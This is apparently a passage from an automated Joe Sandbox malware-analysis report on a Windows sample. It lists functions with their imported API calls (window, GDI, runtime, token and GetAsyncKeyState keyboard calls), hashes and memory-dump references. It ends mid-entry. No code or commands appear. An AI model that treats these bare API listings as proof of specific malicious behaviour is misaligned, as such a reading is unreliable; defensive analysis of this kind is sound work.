Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
Instruction ID: 60a72704dad53315ebed8ffea0ebf5e21f0160e2037c9a929666cf2b1258eb4e
Opcode Fuzzy Hash: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
Instruction Fuzzy Hash: 2E513836B58F1685EF00FF56D8841ACA374FB88BA4B854432DE5E87365DF38E44183A0

Function 00007FF7C0EC670C Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF7C0EC674B
VariantClear.OLEAUT32 ref: 00007FF7C0EC67C5
VariantClear.OLEAUT32 ref: 00007FF7C0EC6826
VariantClear.OLEAUT32 ref: 00007FF7C0EC68B4
VariantChangeType.OLEAUT32 ref: 00007FF7C0EC68E5

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
Instruction ID: f1285d3cdce68a7b24fee63ccefe2aee69eb21f73a97ecc121f2ec190b8f42b7
Opcode Fuzzy Hash: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
Instruction Fuzzy Hash: 0F514433624A8592EB10EF15D4847AE73B8FB84F94F828122CB4D83764EF39E458C751

Function 00007FF7C0E92998 Relevance: 7.6, APIs: 5, Instructions: 133COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E929E9

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 69caafc8f8afcb53c87a7f7053d9646584506dbe7d8e8e6cfd9f4db44817ad77
Instruction ID: f4ca755c7db3162ee382ae9f057693cea08b179a222c6583c45a978a027f2991
Opcode Fuzzy Hash: 69caafc8f8afcb53c87a7f7053d9646584506dbe7d8e8e6cfd9f4db44817ad77
Instruction Fuzzy Hash: DA51AE22A4878285EA61BF2194401B9F7A5EF44BB0F984239DF69877D4DF7CF441C3A0

Function 00007FF7C0ED96A8 Relevance: 7.6, APIs: 5, Instructions: 128COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32 ref: 00007FF7C0ED9785
GetPrivateProfileSectionW.KERNEL32 ref: 00007FF7C0ED97BA
WritePrivateProfileSectionW.KERNEL32 ref: 00007FF7C0ED980F
WritePrivateProfileStringW.KERNEL32 ref: 00007FF7C0ED9836
WritePrivateProfileStringW.KERNEL32 ref: 00007FF7C0ED9848

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 5ddcdf5be155bdd7fae183d3f61eaf0ee1945c0c2493d87505c57e9b0a69a627
Instruction ID: 3d5a0b79a3b47bb7d0c245c86aaf52c3e72086831b7ec4b77c1891e568a4e0f4
Opcode Fuzzy Hash: 5ddcdf5be155bdd7fae183d3f61eaf0ee1945c0c2493d87505c57e9b0a69a627
Instruction Fuzzy Hash: 3951FB36658A4682DB14FF26E490169A760FB88FA4F449432EF8E87766CF3CE440C790

Function 00007FF7C0E51CEC Relevance: 7.6, APIs: 5, Instructions: 124keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF7C0E51D1B
ScreenToClient.USER32 ref: 00007FF7C0E51D3A
GetAsyncKeyState.USER32 ref: 00007FF7C0E51D62
GetAsyncKeyState.USER32 ref: 00007FF7C0E51D82

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
Instruction ID: 214f3cab2ad5bb61d9c48467dad790c1be95bc8d5253c316acab74d289eeb368
Opcode Fuzzy Hash: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
Instruction Fuzzy Hash: 3D51D032B086919BE794FF31C4405AEB761FB45B64F940231EA5A83795CF38F4918790

Function 00007FF7C0E8BA2C Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7C0E8BB4E

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
Instruction ID: 57ab5347b9fbb430e1b2f6ca9bfab74f0721367b9a636029c8bbaff26928aafc
Opcode Fuzzy Hash: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
Instruction Fuzzy Hash: F3419061B49A8281EA15BF0A99042B5E395BF44BB0F894635DD1DCB398EF3CF44087A0

Function 00007FF7C0EFFF50 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF7C0EFFFE7
EnableWindow.USER32 ref: 00007FF7C0F00012
ShowWindow.USER32 ref: 00007FF7C0F0007C
ShowWindow.USER32 ref: 00007FF7C0F00098
EnableWindow.USER32 ref: 00007FF7C0F000C6

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$Show$Enable
String ID:
API String ID: 2939132127-0
Opcode ID: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
Instruction ID: 65c117d54106136db9d1b6b7d36eee8c797969f8ed0bbd57f68ac9a20c85c751
Opcode Fuzzy Hash: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
Instruction Fuzzy Hash: 54513D32A0D68681EB519F55D454778B7A0FB84BA8FA84032CE4D873A0CF7DF485D7A0

Function 00007FF7C0EBD924 Relevance: 7.6, APIs: 5, Instructions: 91sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,00007FF7C0EBD8F3), ref: 00007FF7C0EBD952
PostMessageW.USER32 ref: 00007FF7C0EBD9F2
Sleep.KERNEL32(?,?,?,?,?,00007FF7C0EBD8F3), ref: 00007FF7C0EBD9FA
PostMessageW.USER32 ref: 00007FF7C0EBDA0D
Sleep.KERNEL32(?,?,?,?,?,00007FF7C0EBD8F3), ref: 00007FF7C0EBDA15

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
Instruction ID: 593d49cf39cae7f5b5bb4b31d0dbb28c434230d33ed109c8459519c8ce5360c4
Opcode Fuzzy Hash: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
Instruction Fuzzy Hash: 9731C63660C64547E710EF59E44826AB3A1F788BA8F840235EE5DC7794DF7CF8418754

Function 00007FF7C0ED3824 Relevance: 7.6, APIs: 5, Instructions: 89windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00007FF7C0ED3889
TranslateAcceleratorW.USER32 ref: 00007FF7C0ED38E9
TranslateMessage.USER32 ref: 00007FF7C0ED3916
DispatchMessageW.USER32 ref: 00007FF7C0ED3921
PeekMessageW.USER32 ref: 00007FF7C0ED3938

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
Instruction ID: 40215cb473619f6c58668e199d43f1c03215f35935e09939670abc3dd932677f
Opcode Fuzzy Hash: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
Instruction Fuzzy Hash: D2416025D4C38285FB65BF249854B75A6A0EF84B68F9C0035E94DC63E5CF7CF48587A0

Function 00007FF7C0EC1B34 Relevance: 7.6, APIs: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00007FF7C0EC1B6A
SendMessageW.USER32 ref: 00007FF7C0EC1B93
SendMessageW.USER32 ref: 00007FF7C0EC1BD8
CharUpperBuffW.USER32 ref: 00007FF7C0EC1BFC
wcsstr.LIBVCRUNTIME ref: 00007FF7C0EC1C09

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindowwcsstr
String ID:
API String ID: 2655805287-0
Opcode ID: c96b3dee558e0f0e55b53f66a4f3d4a9b731c61fc9f957ff27ab50b26f9f0e0c
Instruction ID: daee6186356e2b1caa8f5114cbfc9528d7f5f0d1a679c9b77e4f558aee930415
Opcode Fuzzy Hash: c96b3dee558e0f0e55b53f66a4f3d4a9b731c61fc9f957ff27ab50b26f9f0e0c
Instruction Fuzzy Hash: EB21D322B4978286EB15BF26A904275E690BB89FF4F844531EE1D87795DF3CF4408390

Function 00007FF7C0E52370 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32 ref: 00007FF7C0E523FF
SelectObject.GDI32 ref: 00007FF7C0E52412
BeginPath.GDI32 ref: 00007FF7C0E5242B
SelectObject.GDI32 ref: 00007FF7C0E52452

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
Instruction ID: cd0cf26ce74221cb2ddc2e382f0e08f81b61cca66ca917e5d22e100de76504d2
Opcode Fuzzy Hash: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
Instruction Fuzzy Hash: 07315831A1CB428AE340BF41A84473AF7A0FB85BA4FD44539DA4986750CF7CF4918BA0

Function 00007FF7C0EE2E64 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00007FF7C0EE2E96
GetForegroundWindow.USER32 ref: 00007FF7C0EE2EAF
GetDC.USER32 ref: 00007FF7C0EE2EF2
GetPixel.GDI32 ref: 00007FF7C0EE2F03
ReleaseDC.USER32 ref: 00007FF7C0EE2F3B

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
Instruction ID: 7aec24da4cb9786efb664255574cf6dc3d584bcf37eb3b32150e5d131e74636d
Opcode Fuzzy Hash: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
Instruction Fuzzy Hash: 78218626B08B5582E704FF26E44406DF3A0FB88FA4B484435DE5DC7755DF78E4818790

Function 00007FF7C0E81F44 Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E81F68
CreateThread.KERNEL32 ref: 00007FF7C0E81FA9
GetLastError.KERNEL32 ref: 00007FF7C0E81FB7
CloseHandle.KERNEL32 ref: 00007FF7C0E81FD4
FreeLibrary.KERNEL32 ref: 00007FF7C0E81FE3

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
Instruction ID: 19fafa5c6858f540537bc3c1a7043e3bf7adcc94c94a4c4ab33715020d300649
Opcode Fuzzy Hash: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
Instruction Fuzzy Hash: DB216A25B4D7C286EE15FF69A41007AE2A4AF84FA4B884630EA0D87795DF6CF400C7A0

Function 00007FF7C0E8F9D4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7C0E8F9FB
_set_statfp.LIBCMT ref: 00007FF7C0E8FA16
_set_statfp.LIBCMT ref: 00007FF7C0E8FA32
_set_statfp.LIBCMT ref: 00007FF7C0E8FA6E

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
Instruction ID: 9a55acea811b9de7c9db7aa8d352d8d325fae14ed4e23bfe331b47cd2076c539
Opcode Fuzzy Hash: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
Instruction Fuzzy Hash: EE11C126E9CAA345F65C39ACE452375D0417F483B0F8543B0EA6EC67DA8F2CB84083A4

Function 00007FF7C0E75244 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF7C0E7525B
__scrt_initialize_onexit_tables.LIBCMT ref: 00007FF7C0E75274
_RTC_Initialize.LIBCMT ref: 00007FF7C0E7527D

Part of subcall function 00007FF7C0E74F0C: _onexit.LIBCMT ref: 00007FF7C0E74F10

Part of subcall function 00007FF7C0E8A09C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E8A0C6

__scrt_fastfail.LIBCMT ref: 00007FF7C0E752F5
__scrt_initialize_default_local_stdio_options.LIBCMT ref: 00007FF7C0E75300

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Initialize__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_initialize_onexit_tables_invalid_parameter_noinfo_onexit_set_fmode
String ID:
API String ID: 2117695475-0
Opcode ID: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
Instruction ID: ee066f066ae8b028c7c3f94dac5573c99d7111313f401c4b771d70e0ab86bfea
Opcode Fuzzy Hash: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
Instruction Fuzzy Hash: FA117F82EC8A9745FA187FB8545A2B8D2914F85321FC80538E61DD63D3EF9CB44587F2

Function 00007FF7C0EBCAB4 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 00007FF7C0EBCAE6
GetLastError.KERNEL32 ref: 00007FF7C0EBCAF2
GetProcessHeap.KERNEL32 ref: 00007FF7C0EBCAFF
HeapAlloc.KERNEL32 ref: 00007FF7C0EBCB0E
GetTokenInformation.ADVAPI32 ref: 00007FF7C0EBCB2D

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 3045165107d4a0871487eb7a52e49b2bb276054106bd9f861ce7bf3483f017d6
Instruction ID: e1be05cb1a2f7393b0fe0ca125859f4bf6a9044a2ebea1f4c895835ff59c34a3
Opcode Fuzzy Hash: 3045165107d4a0871487eb7a52e49b2bb276054106bd9f861ce7bf3483f017d6
Instruction Fuzzy Hash: 9A113636608B82C6E710AF12E88455EB7B4FB88FA4F954535DF8883B14DF78F4568790

Function 00007FF7C0EBCB58 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 00007FF7C0EBCB8A
GetLastError.KERNEL32 ref: 00007FF7C0EBCB96
GetProcessHeap.KERNEL32 ref: 00007FF7C0EBCBA3
HeapAlloc.KERNEL32 ref: 00007FF7C0EBCBB2
GetTokenInformation.ADVAPI32 ref: 00007FF7C0EBCBD1

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 18e3121f69b2f55043958739cbc43e37301fc4036db83b04d1dc9e6091f96284
Instruction ID: 855f8ede5831fad993191b517f7ddc9a3527c80c5f71105a503d4a88a382be5d
Opcode Fuzzy Hash: 18e3121f69b2f55043958739cbc43e37301fc4036db83b04d1dc9e6091f96284
Instruction Fuzzy Hash: 8F116A36A08B42C6E710AF02E84415DB7A4FB88FA4F954536CF8993B14DF78F8558790

Function 00007FF7C0EBB748 Relevance: 7.5, APIs: 5, Instructions: 43stringCOMMON

Download Yara Rule

APIs

